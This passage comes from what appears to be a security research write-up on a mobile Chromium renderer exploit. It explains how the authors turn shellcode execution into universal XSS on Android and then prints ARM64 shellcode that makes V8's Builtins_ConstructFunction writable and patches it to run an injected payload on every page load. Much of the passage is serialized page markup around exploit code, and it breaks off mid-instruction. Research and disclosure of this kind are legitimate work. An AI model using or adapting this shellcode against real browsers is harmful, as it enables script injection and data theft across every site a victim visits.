255",{"type":24,"tag":158,"props":140142,"children":140143},{"style":188},[140144],{"type":29,"value":191},{"type":24,"tag":158,"props":140146,"children":140147},{"style":465},[140148],{"type":29,"value":139938},{"type":24,"tag":158,"props":140150,"children":140151},{"style":188},[140152],{"type":29,"value":191},{"type":24,"tag":158,"props":140154,"children":140155},{"style":465},[140156],{"type":29,"value":18534},{"type":24,"tag":158,"props":140158,"children":140159},{"style":188},[140160],{"type":29,"value":191},{"type":24,"tag":158,"props":140162,"children":140163},{"style":465},[140164],{"type":29,"value":139888},{"type":24,"tag":158,"props":140166,"children":140167},{"style":188},[140168],{"type":29,"value":191},{"type":24,"tag":158,"props":140170,"children":140171},{"style":465},[140172],{"type":29,"value":135823},{"type":24,"tag":158,"props":140174,"children":140175},{"style":188},[140176],{"type":29,"value":191},{"type":24,"tag":158,"props":140178,"children":140179},{"style":465},[140180],{"type":29,"value":18534},{"type":24,"tag":158,"props":140182,"children":140183},{"style":188},[140184],{"type":29,"value":191},{"type":24,"tag":158,"props":140186,"children":140187},{"style":465},[140188],{"type":29,"value":139862},{"type":24,"tag":158,"props":140190,"children":140191},{"style":188},[140192],{"type":29,"value":191},{"type":24,"tag":158,"props":140194,"children":140195},{"style":465},[140196],{"type":29,"value":140197},"214",{"type":24,"tag":158,"props":140199,"children":140200},{"style":188},[140201],{"type":29,"value":191},{"type":24,"tag":158,"props":140203,"children":140204},{"style":465},[140205],{"type":29,"value":97945},{"type":24,"tag":158,"props":140207,"children":140208},{"style":188},[140209],{"type":29,"value":191},{"type":24,"tag":158,"props":140211,"children":140212},{"style":465},[140213],{"type":29,"value":61620},{"type":24,"tag":158,"props":140215,"children":140216},{"style":188},[140217],{"type":29,"value":191},{"type":24,"tag":158,"props":140219,"children":140220},{"style":465},[140221],{"type":29,"value":18534},{"type":24,"tag":158,"props":140223,"children":140224},{"style":188},[140225],{"type":29,"value":191},{"type":24,"tag":158,"props":140227,"children":140228},{"style":465},[140229],{"type":29,"value":139888},{"type":24,"tag":158,"props":140231,"children":140232},{"style":188},[140233],{"type":29,"value":191},{"type":24,"tag":158,"props":140235,"children":140236},{"style":465},[140237],{"type":29,"value":18767},{"type":24,"tag":158,"props":140239,"children":140240},{"style":188},[140241],{"type":29,"value":191},{"type":24,"tag":158,"props":140243,"children":140244},{"style":465},[140245],{"type":29,"value":5682},{"type":24,"tag":158,"props":140247,"children":140248},{"style":188},[140249],{"type":29,"value":191},{"type":24,"tag":158,"props":140251,"children":140252},{"style":465},[140253],{"type":29,"value":5682},{"type":24,"tag":158,"props":140255,"children":140256},{"style":188},[140257],{"type":29,"value":191},{"type":24,"tag":158,"props":140259,"children":140260},{"style":465},[140261],{"type":29,"value":5682},{"type":24,"tag":158,"props":140263,"children":140264},{"style":188},[140265],{"type":29,"value":191},{"type":24,"tag":158,"props":140267,"children":140268},{"style":465},[140269],{"type":29,"value":5682},{"type":24,"tag":158,"props":140271,"children":140272},{"style":188},[140273],{"type":29,"value":191},{"type":24,"tag":158,"props":140275,"children":140276},{"style":465},[140277],{"type":29,"value":5682},{"type":24,"tag":158,"props":140279,"children":140280},{"style":188},[140281],{"type":29,"value":191},{"type":24,"tag":158,"props":140283,"children":140284},{"style":465},[140285],{"type":29,"value":5682},{"type":24,"tag":158,"props":140287,"children":140288},{"style":188},[140289],{"type":29,"value":191},{"type":24,"tag":158,"props":140291,"children":140292},{"style":465},[140293],{"type":29,"value":5682},{"type":24,"tag":158,"props":140295,"children":140296},{"style":188},[140297],{"type":29,"value":191},{"type":24,"tag":158,"props":140299,"children":140300},{"style":465},[140301],{"type":29,"value":5682},{"type":24,"tag":158,"props":140303,"children":140304},{"style":188},[140305],{"type":29,"value":191},{"type":24,"tag":158,"props":140307,"children":140308},{"style":465},[140309],{"type":29,"value":18767},{"type":24,"tag":158,"props":140311,"children":140312},{"style":188},[140313],{"type":29,"value":191},{"type":24,"tag":158,"props":140315,"children":140316},{"style":465},[140317],{"type":29,"value":5682},{"type":24,"tag":158,"props":140319,"children":140320},{"style":188},[140321],{"type":29,"value":191},{"type":24,"tag":158,"props":140323,"children":140324},{"style":465},[140325],{"type":29,"value":5682},{"type":24,"tag":158,"props":140327,"children":140328},{"style":188},[140329],{"type":29,"value":191},{"type":24,"tag":158,"props":140331,"children":140332},{"style":465},[140333],{"type":29,"value":5682},{"type":24,"tag":158,"props":140335,"children":140336},{"style":188},[140337],{"type":29,"value":191},{"type":24,"tag":158,"props":140339,"children":140340},{"style":465},[140341],{"type":29,"value":5682},{"type":24,"tag":158,"props":140343,"children":140344},{"style":188},[140345],{"type":29,"value":191},{"type":24,"tag":158,"props":140347,"children":140348},{"style":465},[140349],{"type":29,"value":5682},{"type":24,"tag":158,"props":140351,"children":140352},{"style":188},[140353],{"type":29,"value":235},{"type":24,"tag":158,"props":140355,"children":140356},{"class":160,"line":1447},[140357,140361,140365,140369,140373,140377,140381,140385,140389,140393,140397,140402,140406,140411,140415,140420,140424,140428],{"type":24,"tag":158,"props":140358,"children":140359},{"style":465},[140360],{"type":29,"value":135475},{"type":24,"tag":158,"props":140362,"children":140363},{"style":188},[140364],{"type":29,"value":191},{"type":24,"tag":158,"props":140366,"children":140367},{"style":465},[140368],{"type":29,"value":5682},{"type":24,"tag":158,"props":140370,"children":140371},{"style":188},[140372],{"type":29,"value":191},{"type":24,"tag":158,"props":140374,"children":140375},{"style":465},[140376],{"type":29,"value":5682},{"type":24,"tag":158,"props":140378,"children":140379},{"style":188},[140380],{"type":29,"value":191},{"type":24,"tag":158,"props":140382,"children":140383},{"style":465},[140384],{"type":29,"value":5682},{"type":24,"tag":158,"props":140386,"children":140387},{"style":188},[140388],{"type":29,"value":191},{"type":24,"tag":158,"props":140390,"children":140391},{"style":465},[140392],{"type":29,"value":5682},{"type":24,"tag":158,"props":140394,"children":140395},{"style":188},[140396],{"type":29,"value":191},{"type":24,"tag":158,"props":140398,"children":140399},{"style":465},[140400],{"type":29,"value":140401},"92",{"type":24,"tag":158,"props":140403,"children":140404},{"style":188},[140405],{"type":29,"value":191},{"type":24,"tag":158,"props":140407,"children":140408},{"style":465},[140409],{"type":29,"value":140410},"50",{"type":24,"tag":158,"props":140412,"children":140413},{"style":188},[140414],{"type":29,"value":191},{"type":24,"tag":158,"props":140416,"children":140417},{"style":465},[140418],{"type":29,"value":140419},"162",{"type":24,"tag":158,"props":140421,"children":140422},{"style":188},[140423],{"type":29,"value":191},{"type":24,"tag":158,"props":140425,"children":140426},{"style":465},[140427],{"type":29,"value":5682},{"type":24,"tag":158,"props":140429,"children":140430},{"style":188},[140431],{"type":29,"value":235},{"type":24,"tag":158,"props":140433,"children":140434},{"class":160,"line":1509},[140435],{"type":24,"tag":158,"props":140436,"children":140437},{"style":188},[140438],{"type":29,"value":135762},{"type":24,"tag":158,"props":140440,"children":140441},{"class":160,"line":1527},[140442,140446,140450,140454,140458,140462,140466,140470,140474,140478,140482],{"type":24,"tag":158,"props":140443,"children":140444},{"style":165},[140445],{"type":29,"value":9496},{"type":24,"tag":158,"props":140447,"children":140448},{"style":177},[140449],{"type":29,"value":137215},{"type":24,"tag":158,"props":140451,"children":140452},{"style":222},[140453],{"type":29,"value":462},{"type":24,"tag":158,"props":140455,"children":140456},{"style":496},[140457],{"type":29,"value":137224},{"type":24,"tag":158,"props":140459,"children":140460},{"style":188},[140461],{"type":29,"value":504},{"type":24,"tag":158,"props":140463,"children":140464},{"style":177},[140465],{"type":29,"value":135093},{"type":24,"tag":158,"props":140467,"children":140468},{"style":188},[140469],{"type":29,"value":191},{"type":24,"tag":158,"props":140471,"children":140472},{"style":177},[140473],{"type":29,"value":126420},{"type":24,"tag":158,"props":140475,"children":140476},{"style":188},[140477],{"type":29,"value":347},{"type":24,"tag":158,"props":140479,"children":140480},{"style":177},[140481],{"type":29,"value":126420},{"type":24,"tag":158,"props":140483,"children":140484},{"style":188},[140485],{"type":29,"value":1071},{"type":24,"tag":158,"props":140487,"children":140488},{"class":160,"line":1545},[140489,140493,140497,140501,140505,140509,140513,140517,140521,140525],{"type":24,"tag":158,"props":140490,"children":140491},{"style":177},[140492],{"type":29,"value":137260},{"type":24,"tag":158,"props":140494,"children":140495},{"style":222},[140496],{"type":29,"value":462},{"type":24,"tag":158,"props":140498,"children":140499},{"style":188},[140500],{"type":29,"value":2262},{"type":24,"tag":158,"props":140502,"children":140503},{"style":1914},[140504],{"type":29,"value":34178},{"type":24,"tag":158,"props":140506,"children":140507},{"style":177},[140508],{"type":29,"value":137215},{"type":24,"tag":158,"props":140510,"children":140511},{"style":188},[140512],{"type":29,"value":347},{"type":24,"tag":158,"props":140514,"children":140515},{"style":496},[140516],{"type":29,"value":58838},{"type":24,"tag":158,"props":140518,"children":140519},{"style":188},[140520],{"type":29,"value":137289},{"type":24,"tag":158,"props":140522,"children":140523},{"style":177},[140524],{"type":29,"value":40416},{"type":24,"tag":158,"props":140526,"children":140527},{"style":188},[140528],{"type":29,"value":473},{"type":24,"tag":158,"props":140530,"children":140531},{"class":160,"line":1618},[140532,140536,140540,140544,140548,140553,140557,140561],{"type":24,"tag":158,"props":140533,"children":140534},{"style":177},[140535],{"type":29,"value":103222},{"type":24,"tag":158,"props":140537,"children":140538},{"style":188},[140539],{"type":29,"value":347},{"type":24,"tag":158,"props":140541,"children":140542},{"style":496},[140543],{"type":29,"value":103231},{"type":24,"tag":158,"props":140545,"children":140546},{"style":188},[140547],{"type":29,"value":504},{"type":24,"tag":158,"props":140549,"children":140550},{"style":1108},[140551],{"type":29,"value":140552},"'DeserializeWasmModule result: '",{"type":24,"tag":158,"props":140554,"children":140555},{"style":222},[140556],{"type":29,"value":2308},{"type":24,"tag":158,"props":140558,"children":140559},{"style":177},[140560],{"type":29,"value":3345},{"type":24,"tag":158,"props":140562,"children":140563},{"style":188},[140564],{"type":29,"value":1071},{"type":24,"tag":158,"props":140566,"children":140567},{"class":160,"line":1635},[140568,140572,140576,140580,140584,140588,140592,140596,140600,140604],{"type":24,"tag":158,"props":140569,"children":140570},{"style":165},[140571],{"type":29,"value":37452},{"type":24,"tag":158,"props":140573,"children":140574},{"style":177},[140575],{"type":29,"value":137309},{"type":24,"tag":158,"props":140577,"children":140578},{"style":222},[140579],{"type":29,"value":462},{"type":24,"tag":158,"props":140581,"children":140582},{"style":165},[140583],{"type":29,"value":33194},{"type":24,"tag":158,"props":140585,"children":140586},{"style":177},[140587],{"type":29,"value":135076},{"type":24,"tag":158,"props":140589,"children":140590},{"style":188},[140591],{"type":29,"value":347},{"type":24,"tag":158,"props":140593,"children":140594},{"style":496},[140595],{"type":29,"value":135130},{"type":24,"tag":158,"props":140597,"children":140598},{"style":188},[140599],{"type":29,"value":504},{"type":24,"tag":158,"props":140601,"children":140602},{"style":177},[140603],{"type":29,"value":1025},{"type":24,"tag":158,"props":140605,"children":140606},{"style":188},[140607],{"type":29,"value":1071},{"type":24,"tag":158,"props":140609,"children":140610},{"class":160,"line":1644},[140611,140615,140619,140623,140627,140631,140635,140639,140643],{"type":24,"tag":158,"props":140612,"children":140613},{"style":165},[140614],{"type":29,"value":37452},{"type":24,"tag":158,"props":140616,"children":140617},{"style":177},[140618],{"type":29,"value":34233},{"type":24,"tag":158,"props":140620,"children":140621},{"style":222},[140622],{"type":29,"value":462},{"type":24,"tag":158,"props":140624,"children":140625},{"style":177},[140626],{"type":29,"value":137309},{"type":24,"tag":158,"props":140628,"children":140629},{"style":188},[140630],{"type":29,"value":347},{"type":24,"tag":158,"props":140632,"children":140633},{"style":177},[140634],{"type":29,"value":39150},{"type":24,"tag":158,"props":140636,"children":140637},{"style":188},[140638],{"type":29,"value":347},{"type":24,"tag":158,"props":140640,"children":140641},{"style":177},[140642],{"type":29,"value":135179},{"type":24,"tag":158,"props":140644,"children":140645},{"style":188},[140646],{"type":29,"value":473},{"type":24,"tag":158,"props":140648,"children":140649},{"class":160,"line":1652},[140650,140654,140658,140662,140666,140670],{"type":24,"tag":158,"props":140651,"children":140652},{"style":177},[140653],{"type":29,"value":103222},{"type":24,"tag":158,"props":140655,"children":140656},{"style":188},[140657],{"type":29,"value":347},{"type":24,"tag":158,"props":140659,"children":140660},{"style":496},[140661],{"type":29,"value":103231},{"type":24,"tag":158,"props":140663,"children":140664},{"style":188},[140665],{"type":29,"value":504},{"type":24,"tag":158,"props":140667,"children":140668},{"style":177},[140669],{"type":29,"value":34347},{"type":24,"tag":158,"props":140671,"children":140672},{"style":188},[140673],{"type":29,"value":1071},{"type":24,"tag":158,"props":140675,"children":140676},{"class":160,"line":1704},[140677],{"type":24,"tag":158,"props":140678,"children":140679},{"style":188},[140680],{"type":29,"value":103263},{"type":24,"tag":25,"props":140682,"children":140683},{},[140684],{"type":29,"value":140685},"And this time, it works as expected:",{"type":24,"tag":25,"props":140687,"children":140688},{},[140689],{"type":24,"tag":84,"props":140690,"children":140693},{"alt":140691,"src":140692},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":24,"tag":395,"props":140695,"children":140697},{"id":140696},"achieving-universal-xss",[140698],{"type":29,"value":140699},"Achieving Universal XSS",{"type":24,"tag":25,"props":140701,"children":140702},{},[140703,140705,140711,140713,140720],{"type":29,"value":140704},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":24,"tag":101,"props":140706,"children":140709},{"href":140707,"rel":140708},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[105],[140710],{"type":29,"value":71607},{"type":29,"value":140712}," from Tencent Security and ",{"type":24,"tag":101,"props":140714,"children":140717},{"href":140715,"rel":140716},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[105],[140718],{"type":29,"value":140719},"research article",{"type":29,"value":140721}," from InterruptLabs.",{"type":24,"tag":25,"props":140723,"children":140724},{},[140725,140727,140734],{"type":29,"value":140726},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":24,"tag":101,"props":140728,"children":140731},{"href":140729,"rel":140730},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[105],[140732],{"type":29,"value":140733},"weaker version",{"type":29,"value":140735}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":24,"tag":25,"props":140737,"children":140738},{},[140739,140741,140747],{"type":29,"value":140740},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":24,"tag":154,"props":140742,"children":140744},{"className":140743},[],[140745],{"type":29,"value":140746},"Builtins_ConstructFunction",{"type":29,"value":140748},", making it a natural target.",{"type":24,"tag":25,"props":140750,"children":140751},{},[140752,140754,140759],{"type":29,"value":140753},"Our goal is for ",{"type":24,"tag":154,"props":140755,"children":140757},{"className":140756},[],[140758],{"type":29,"value":140746},{"type":29,"value":140760}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":24,"tag":17924,"props":140762,"children":140763},{},[140764,140769,140779],{"type":24,"tag":1790,"props":140765,"children":140766},{},[140767],{"type":29,"value":140768},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":24,"tag":1790,"props":140770,"children":140771},{},[140772,140774],{"type":29,"value":140773},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":24,"tag":154,"props":140775,"children":140777},{"className":140776},[],[140778],{"type":29,"value":140746},{"type":24,"tag":1790,"props":140780,"children":140781},{},[140782,140784,140789],{"type":29,"value":140783},"The mmap-ed shellcode then returns to the beginning of ",{"type":24,"tag":154,"props":140785,"children":140787},{"className":140786},[],[140788],{"type":29,"value":140746},{"type":29,"value":140790},", which now proceeds normally",{"type":24,"tag":25,"props":140792,"children":140793},{},[140794],{"type":29,"value":140795},"The ARM64 shellcode implementing this looks as follows:",{"type":24,"tag":147,"props":140797,"children":140801},{"code":140798,"language":140799,"meta":7,"className":140800,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[140802],{"type":24,"tag":154,"props":140803,"children":140804},{"__ignoreMap":7},[140805,140813,140821,140829,140837,140844,140852,140860,140868,140876,140883,140891,140899,140907,140915,140923,140930,140938,140946,140954,140962,140970,140978,140985,140993,141000,141008,141016,141024,141031,141039,141047,141055,141063,141070,141077,141084,141091,141099,141107,141115,141122,141130,141138,141145,141153,141161,141169,141176,141184,141192,141200,141208,141215,141222,141230],{"type":24,"tag":158,"props":140806,"children":140807},{"class":160,"line":161},[140808],{"type":24,"tag":158,"props":140809,"children":140810},{},[140811],{"type":29,"value":140812},"// get return addr to x0\n",{"type":24,"tag":158,"props":140814,"children":140815},{"class":160,"line":213},[140816],{"type":24,"tag":158,"props":140817,"children":140818},{},[140819],{"type":29,"value":140820},"ldr x0, [sp, #0x18]\n",{"type":24,"tag":158,"props":140822,"children":140823},{"class":160,"line":238},[140824],{"type":24,"tag":158,"props":140825,"children":140826},{},[140827],{"type":29,"value":140828},"// strip pac signature from return address\n",{"type":24,"tag":158,"props":140830,"children":140831},{"class":160,"line":259},[140832],{"type":24,"tag":158,"props":140833,"children":140834},{},[140835],{"type":29,"value":140836},".arch armv8.3-a; xpaci x0\n",{"type":24,"tag":158,"props":140838,"children":140839},{"class":160,"line":280},[140840],{"type":24,"tag":158,"props":140841,"children":140842},{"emptyLinePlaceholder":16},[140843],{"type":29,"value":481},{"type":24,"tag":158,"props":140845,"children":140846},{"class":160,"line":301},[140847],{"type":24,"tag":158,"props":140848,"children":140849},{},[140850],{"type":29,"value":140851},"// store x5 = Builtins_ConstructFunction\n",{"type":24,"tag":158,"props":140853,"children":140854},{"class":160,"line":626},[140855],{"type":24,"tag":158,"props":140856,"children":140857},{},[140858],{"type":29,"value":140859},"movz x1, #0x610c\n",{"type":24,"tag":158,"props":140861,"children":140862},{"class":160,"line":668},[140863],{"type":24,"tag":158,"props":140864,"children":140865},{},[140866],{"type":29,"value":140867},"sub x0, x0, x1\n",{"type":24,"tag":158,"props":140869,"children":140870},{"class":160,"line":676},[140871],{"type":24,"tag":158,"props":140872,"children":140873},{},[140874],{"type":29,"value":140875},"mov x5, x0\n",{"type":24,"tag":158,"props":140877,"children":140878},{"class":160,"line":684},[140879],{"type":24,"tag":158,"props":140880,"children":140881},{"emptyLinePlaceholder":16},[140882],{"type":29,"value":481},{"type":24,"tag":158,"props":140884,"children":140885},{"class":160,"line":700},[140886],{"type":24,"tag":158,"props":140887,"children":140888},{},[140889],{"type":29,"value":140890},"// store x4 = page aligned ConstructFunction\n",{"type":24,"tag":158,"props":140892,"children":140893},{"class":160,"line":785},[140894],{"type":24,"tag":158,"props":140895,"children":140896},{},[140897],{"type":29,"value":140898},"movz x1, #0xf000\n",{"type":24,"tag":158,"props":140900,"children":140901},{"class":160,"line":1447},[140902],{"type":24,"tag":158,"props":140903,"children":140904},{},[140905],{"type":29,"value":140906},"movk x1, #0xffff, lsl #16\n",{"type":24,"tag":158,"props":140908,"children":140909},{"class":160,"line":1509},[140910],{"type":24,"tag":158,"props":140911,"children":140912},{},[140913],{"type":29,"value":140914},"movk x1, #0xffff, lsl #32\n",{"type":24,"tag":158,"props":140916,"children":140917},{"class":160,"line":1527},[140918],{"type":24,"tag":158,"props":140919,"children":140920},{},[140921],{"type":29,"value":140922},"and x4, x5, x1\n",{"type":24,"tag":158,"props":140924,"children":140925},{"class":160,"line":1545},[140926],{"type":24,"tag":158,"props":140927,"children":140928},{"emptyLinePlaceholder":16},[140929],{"type":29,"value":481},{"type":24,"tag":158,"props":140931,"children":140932},{"class":160,"line":1618},[140933],{"type":24,"tag":158,"props":140934,"children":140935},{},[140936],{"type":29,"value":140937},"// mprotect page aligned ConstructFunction RWX\n",{"type":24,"tag":158,"props":140939,"children":140940},{"class":160,"line":1635},[140941],{"type":24,"tag":158,"props":140942,"children":140943},{},[140944],{"type":29,"value":140945},"mov x0, x4\n",{"type":24,"tag":158,"props":140947,"children":140948},{"class":160,"line":1644},[140949],{"type":24,"tag":158,"props":140950,"children":140951},{},[140952],{"type":29,"value":140953},"mov x1, #0x2000\n",{"type":24,"tag":158,"props":140955,"children":140956},{"class":160,"line":1652},[140957],{"type":24,"tag":158,"props":140958,"children":140959},{},[140960],{"type":29,"value":140961},"mov x2, #0x7\n",{"type":24,"tag":158,"props":140963,"children":140964},{"class":160,"line":1704},[140965],{"type":24,"tag":158,"props":140966,"children":140967},{},[140968],{"type":29,"value":140969},"mov x8, #226\n",{"type":24,"tag":158,"props":140971,"children":140972},{"class":160,"line":1713},[140973],{"type":24,"tag":158,"props":140974,"children":140975},{},[140976],{"type":29,"value":140977},"svc #0\n",{"type":24,"tag":158,"props":140979,"children":140980},{"class":160,"line":1731},[140981],{"type":24,"tag":158,"props":140982,"children":140983},{"emptyLinePlaceholder":16},[140984],{"type":29,"value":481},{"type":24,"tag":158,"props":140986,"children":140987},{"class":160,"line":5485},[140988],{"type":24,"tag":158,"props":140989,"children":140990},{},[140991],{"type":29,"value":140992},"mov x6, x5\n",{"type":24,"tag":158,"props":140994,"children":140995},{"class":160,"line":5493},[140996],{"type":24,"tag":158,"props":140997,"children":140998},{"emptyLinePlaceholder":16},[140999],{"type":29,"value":481},{"type":24,"tag":158,"props":141001,"children":141002},{"class":160,"line":5553},[141003],{"type":24,"tag":158,"props":141004,"children":141005},{},[141006],{"type":29,"value":141007},"// mmap RWX for jump dest (uxss_sc)\n",{"type":24,"tag":158,"props":141009,"children":141010},{"class":160,"line":10636},[141011],{"type":24,"tag":158,"props":141012,"children":141013},{},[141014],{"type":29,"value":141015},"mov x0, #0\n",{"type":24,"tag":158,"props":141017,"children":141018},{"class":160,"line":10652},[141019],{"type":24,"tag":158,"props":141020,"children":141021},{},[141022],{"type":29,"value":141023},"mov x1, #0x1000\n",{"type":24,"tag":158,"props":141025,"children":141026},{"class":160,"line":10696},[141027],{"type":24,"tag":158,"props":141028,"children":141029},{},[141030],{"type":29,"value":140961},{"type":24,"tag":158,"props":141032,"children":141033},{"class":160,"line":10801},[141034],{"type":24,"tag":158,"props":141035,"children":141036},{},[141037],{"type":29,"value":141038},"mov x3, #34\n",{"type":24,"tag":158,"props":141040,"children":141041},{"class":160,"line":24754},[141042],{"type":24,"tag":158,"props":141043,"children":141044},{},[141045],{"type":29,"value":141046},"mov x4, #-1\n",{"type":24,"tag":158,"props":141048,"children":141049},{"class":160,"line":24789},[141050],{"type":24,"tag":158,"props":141051,"children":141052},{},[141053],{"type":29,"value":141054},"mov x5, #0\n",{"type":24,"tag":158,"props":141056,"children":141057},{"class":160,"line":24797},[141058],{"type":24,"tag":158,"props":141059,"children":141060},{},[141061],{"type":29,"value":141062},"mov x8, #222\n",{"type":24,"tag":158,"props":141064,"children":141065},{"class":160,"line":24805},[141066],{"type":24,"tag":158,"props":141067,"children":141068},{},[141069],{"type":29,"value":140977},{"type":24,"tag":158,"props":141071,"children":141072},{"class":160,"line":24814},[141073],{"type":24,"tag":158,"props":141074,"children":141075},{"emptyLinePlaceholder":16},[141076],{"type":29,"value":481},{"type":24,"tag":158,"props":141078,"children":141079},{"class":160,"line":24856},[141080],{"type":24,"tag":158,"props":141081,"children":141082},{},[141083],{"type":29,"value":140875},{"type":24,"tag":158,"props":141085,"children":141086},{"class":160,"line":24889},[141087],{"type":24,"tag":158,"props":141088,"children":141089},{"emptyLinePlaceholder":16},[141090],{"type":29,"value":481},{"type":24,"tag":158,"props":141092,"children":141093},{"class":160,"line":24897},[141094],{"type":24,"tag":158,"props":141095,"children":141096},{},[141097],{"type":29,"value":141098},"// at this point:\n",{"type":24,"tag":158,"props":141100,"children":141101},{"class":160,"line":24905},[141102],{"type":24,"tag":158,"props":141103,"children":141104},{},[141105],{"type":29,"value":141106},"// x6 = Builtins_ConstructFunction\n",{"type":24,"tag":158,"props":141108,"children":141109},{"class":160,"line":24914},[141110],{"type":24,"tag":158,"props":141111,"children":141112},{},[141113],{"type":29,"value":141114},"// x5 = mmap page for uxss_sc\n",{"type":24,"tag":158,"props":141116,"children":141117},{"class":160,"line":24990},[141118],{"type":24,"tag":158,"props":141119,"children":141120},{"emptyLinePlaceholder":16},[141121],{"type":29,"value":481},{"type":24,"tag":158,"props":141123,"children":141124},{"class":160,"line":25023},[141125],{"type":24,"tag":158,"props":141126,"children":141127},{},[141128],{"type":29,"value":141129},"// write uxss_sc to mmaped rwx page\n",{"type":24,"tag":158,"props":141131,"children":141132},{"class":160,"line":25031},[141133],{"type":24,"tag":158,"props":141134,"children":141135},{},[141136],{"type":29,"value":141137},"{write_sc(uxss_sc, \"x5\")}\n",{"type":24,"tag":158,"props":141139,"children":141140},{"class":160,"line":25039},[141141],{"type":24,"tag":158,"props":141142,"children":141143},{"emptyLinePlaceholder":16},[141144],{"type":29,"value":481},{"type":24,"tag":158,"props":141146,"children":141147},{"class":160,"line":25076},[141148],{"type":24,"tag":158,"props":141149,"children":141150},{},[141151],{"type":29,"value":141152},"// wipe from cache\n",{"type":24,"tag":158,"props":141154,"children":141155},{"class":160,"line":25089},[141156],{"type":24,"tag":158,"props":141157,"children":141158},{},[141159],{"type":29,"value":141160},"mov x0, x5\n",{"type":24,"tag":158,"props":141162,"children":141163},{"class":160,"line":25102},[141164],{"type":24,"tag":158,"props":141165,"children":141166},{},[141167],{"type":29,"value":141168},"{WIPE_CACHE}\n",{"type":24,"tag":158,"props":141170,"children":141171},{"class":160,"line":25115},[141172],{"type":24,"tag":158,"props":141173,"children":141174},{"emptyLinePlaceholder":16},[141175],{"type":29,"value":481},{"type":24,"tag":158,"props":141177,"children":141178},{"class":160,"line":25169},[141179],{"type":24,"tag":158,"props":141180,"children":141181},{},[141182],{"type":29,"value":141183},"// patch Builtins_ConstructFunction\n",{"type":24,"tag":158,"props":141185,"children":141186},{"class":160,"line":25178},[141187],{"type":24,"tag":158,"props":141188,"children":141189},{},[141190],{"type":29,"value":141191},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":24,"tag":158,"props":141193,"children":141194},{"class":160,"line":33542},[141195],{"type":24,"tag":158,"props":141196,"children":141197},{},[141198],{"type":29,"value":141199},"// and add a pointer to uxss_sc just above new instructions\n",{"type":24,"tag":158,"props":141201,"children":141202},{"class":160,"line":33563},[141203],{"type":24,"tag":158,"props":141204,"children":141205},{},[141206],{"type":29,"value":141207},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":24,"tag":158,"props":141209,"children":141210},{"class":160,"line":82229},[141211],{"type":24,"tag":158,"props":141212,"children":141213},{"emptyLinePlaceholder":16},[141214],{"type":29,"value":481},{"type":24,"tag":158,"props":141216,"children":141217},{"class":160,"line":82242},[141218],{"type":24,"tag":158,"props":141219,"children":141220},{},[141221],{"type":29,"value":141152},{"type":24,"tag":158,"props":141223,"children":141224},{"class":160,"line":82250},[141225],{"type":24,"tag":158,"props":141226,"children":141227},{},[141228],{"type":29,"value":141229},"mov x0, x6\n",{"type":24,"tag":158,"props":141231,"children":141232},{"class":160,"line":82258},[141233],{"type":24,"tag":158,"props":141234,"children":141235},{},[141236],{"type":29,"value":141168},{"type":24,"tag":25,"props":141238,"children":141239},{},[141240,141242,141248,141250,141255,141257,141263],{"type":29,"value":141241},"In the snippet above, ",{"type":24,"tag":154,"props":141243,"children":141245},{"className":141244},[],[141246],{"type":29,"value":141247},"new_compile_instrs",{"type":29,"value":141249}," refers to the instructions written to the beginning of ",{"type":24,"tag":154,"props":141251,"children":141253},{"className":141252},[],[141254],{"type":29,"value":140746},{"type":29,"value":141256}," that invoke the ",{"type":24,"tag":154,"props":141258,"children":141260},{"className":141259},[],[141261],{"type":29,"value":141262},"uxss_sc",{"type":29,"value":141264}," mmap-ed shellcode:",{"type":24,"tag":147,"props":141266,"children":141268},{"code":141267,"language":140799,"meta":7,"className":140800,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr 